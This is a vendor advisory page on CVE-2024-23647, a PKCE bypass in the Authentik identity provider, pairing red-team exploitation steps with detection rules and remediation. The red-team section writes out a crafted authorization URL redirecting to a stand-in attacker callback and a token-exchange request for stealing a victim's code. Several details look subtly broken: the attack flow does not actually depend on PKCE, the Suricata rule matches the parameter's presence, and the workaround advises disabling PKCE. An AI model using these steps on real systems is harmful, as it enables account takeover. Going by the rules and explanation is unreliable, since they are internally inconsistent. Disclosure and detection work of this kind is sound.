CVE-2024-23647
Executive Summary
CVE-2024-23647 is a vulnerability in the open-source Identity Provider (IdP) Authentik, specifically in its implementation of the Proof Key for Code Exchange (PKCE) extension for OAuth 2.0. The flaw allows an attacker to bypass PKCE protections by simply removing the code_challenge parameter from the authorization request. This downgrade attack enables Cross-Site Request Forgery (CSRF) and code injection attacks, potentially leading to unauthorized access to user accounts and sensitive data. The vulnerability affects versions prior to 2023.8.7 and 2023.10.7. While the CVSS score is 6.5 (Medium), the real-world impact is significant for organizations relying on Authentik for identity management.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Authentik is distributed as a Docker image and via Python packages (PyPI). The vulnerability is in the core application logic, not in a third-party dependency. However, organizations using Authentik as part of their identity and access management (IAM) supply chain should treat this as a critical update. The package is authentik on PyPI and ghcr.io/goauthentik/server on GitHub Container Registry.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) - The victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H) - Attacker can potentially access any user's account.
- Integrity Impact: High (I:H) - Attacker can perform actions on behalf of the victim.
- Availability Impact: None (A:N)
Threat Level: High for organizations using OAuth 2.0 flows with PKCE. The attack is trivial to execute once a victim interacts with a malicious link.
Deep Dive & Mechanics
PKCE (Proof Key for Code Exchange) is an extension to the OAuth 2.0 Authorization Code flow designed to prevent interception attacks. It works by having the client create a secret (code_verifier) and send a transformed version (code_challenge) in the authorization request. The authorization server stores this challenge. When the client exchanges the authorization code for tokens, it must provide the original code_verifier. The server then verifies that the verifier matches the stored challenge.
The Bug: In vulnerable versions of Authentik, the server does not enforce the presence of the code_challenge parameter. If an attacker removes the code_challenge from the authorization request, the server skips the PKCE verification entirely. This allows an attacker to:
- CSRF Attack: Trick a victim into authorizing a malicious OAuth client. Without PKCE, the attacker can intercept the authorization code (e.g., via a man-in-the-middle or by reading the URL fragment) and exchange it for tokens.
- Code Injection: If the attacker can inject a malicious authorization request (e.g., via XSS), they can omit the
code_challengeand later exchange the code without needing the verifier.
The attack flow:
- Attacker crafts a malicious OAuth authorization URL pointing to the victim's Authentik instance, but omits the
code_challengeparameter. - Victim clicks the link and authorizes the client.
- Authentik redirects to the attacker's callback URL with the authorization code.
- Attacker exchanges the code for tokens without needing the code_verifier.
Vulnerable vs. Patched Code
Vulnerable Code (simplified logic):
def handle_authorization_request(request):
code_challenge = request.GET.get('code_challenge')
if code_challenge:
# Store challenge for later verification
session['code_challenge'] = code_challenge
# Proceed with authorization
return redirect_to_callback(request)
Patched Code (simplified logic):
def handle_authorization_request(request):
code_challenge = request.GET.get('code_challenge')
if not code_challenge:
# Reject request if PKCE is expected
return error_response("PKCE required")
session['code_challenge'] = code_challenge
return redirect_to_callback(request)
The patch ensures that if the OAuth client is configured to use PKCE, the code_challenge parameter is mandatory. The fix was introduced in commits for versions 2023.8.7 and 2023.10.7.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Authentik instance (version < 2023.8.7 or < 2023.10.7)
- A registered OAuth client that uses PKCE (or any client, as the attack bypasses PKCE)
- Ability to craft a malicious link and deliver it to a victim
Exploitation Steps:
Craft the Malicious Authorization URL:
https://victim-authentik.example.com/application/o/authorize/ ?response_type=code &client_id=YOUR_CLIENT_ID &redirect_uri=https://attacker.example.com/callback &scope=openid+profile+email &state=random_state # NOTE: code_challenge is OMITTEDDeliver the Link: Send the link to the victim via phishing email, social engineering, or by embedding it in a page they visit.
Intercept the Authorization Code: When the victim clicks and authorizes, Authentik redirects to
https://attacker.example.com/callback?code=AUTHORIZATION_CODE&state=random_state.Exchange the Code for Tokens:
POST /application/o/token/ HTTP/1.1 Host: victim-authentik.example.com Content-Type: application/x-www-form-urlencoded grant_type=authorization_code &code=AUTHORIZATION_CODE &redirect_uri=https://attacker.example.com/callback &client_id=YOUR_CLIENT_ID &client_secret=YOUR_CLIENT_SECRET # NOTE: code_verifier is NOT requiredReceive Tokens: The server returns access_token, refresh_token, and id_token, granting the attacker full access to the victim's resources.
Blue Team
Detection:
- Monitor for authorization requests missing the
code_challengeparameter for clients that are configured to use PKCE. - Alert on token exchange requests that succeed without a
code_verifierparameter. - Look for unusual redirect URIs in OAuth flows.
Hunting:
- Search logs for
authorizeendpoints wherecode_challengeis absent but the client is PKCE-enabled. - Correlate authorization code grants with token exchanges that lack
code_verifier.
Prevention:
- Immediately upgrade to patched versions (2023.8.7 or 2023.10.7).
- Implement Web Application Firewall (WAF) rules to block authorization requests without
code_challengefor PKCE-enabled clients. - Enforce strict validation of OAuth parameters at the reverse proxy level.
Indicators of Compromise (IOCs)
Network:
- Authorization requests to
/application/o/authorize/without thecode_challengeparameter. - Token requests to
/application/o/token/without thecode_verifierparameter. - Unusual callback URLs in OAuth flows (e.g., attacker-controlled domains).
- Authorization requests to
Logs:
- Authentik audit logs showing authorization code grants for clients that normally use PKCE, but without PKCE parameters.
- Successful token exchanges without
code_verifier.
System:
- Unexpected OAuth client authorizations for users.
- New sessions or tokens for accounts that did not initiate the flow.
Detection Engineering
YARA Rule
rule CVE_2024_23647_PKCE_Bypass {
meta:
description = "Detects PKCE bypass attempts in Authentik logs"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-23647"
strings:
$auth_request = "/application/o/authorize/"
$token_request = "/application/o/token/"
$no_challenge = "code_challenge" nocase
$no_verifier = "code_verifier" nocase
condition:
(($auth_request and not $no_challenge) or ($token_request and not $no_verifier))
}
Sigma Rule
title: Authentik PKCE Bypass Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects missing PKCE parameters in Authentik OAuth flows
author: Valters IT
logsource:
product: authentik
service: audit
detection:
selection:
- request_path: "/application/o/authorize/"
params|contains: "code_challenge"
- request_path: "/application/o/token/"
params|contains: "code_verifier"
condition: not selection
falsepositives:
- Legacy clients not using PKCE
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-23647 Authentik PKCE Bypass Attempt";
flow:to_server,established;
content:"/application/o/authorize/"; http_uri;
pcre:"/code_challenge/";
sid:1000001;
rev:1;
reference:cve,2024-23647;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Authentik to version 2023.8.7 or 2023.10.7 (or later). This is the only complete fix.
- Restrict OAuth Client Registration to trusted applications only.
- Enable Multi-Factor Authentication (MFA) for all users to mitigate account takeover even if tokens are stolen.
Long-Term Measures:
- Implement strict OAuth parameter validation at the reverse proxy (e.g., Nginx, HAProxy) to reject requests missing
code_challengefor PKCE-enabled clients. - Conduct a security audit of all OAuth clients and their configurations.
- Monitor Authentik release notes and apply security patches promptly.
- Use Web Application Firewall (WAF) rules to detect and block PKCE bypass attempts.
Workaround (if immediate upgrade is not possible):
- Disable PKCE for all clients and use the Authorization Code flow with client secrets only (less secure, but prevents this specific bypass).
- Implement additional CSRF protections (e.g., SameSite cookies, custom headers).
Valters IT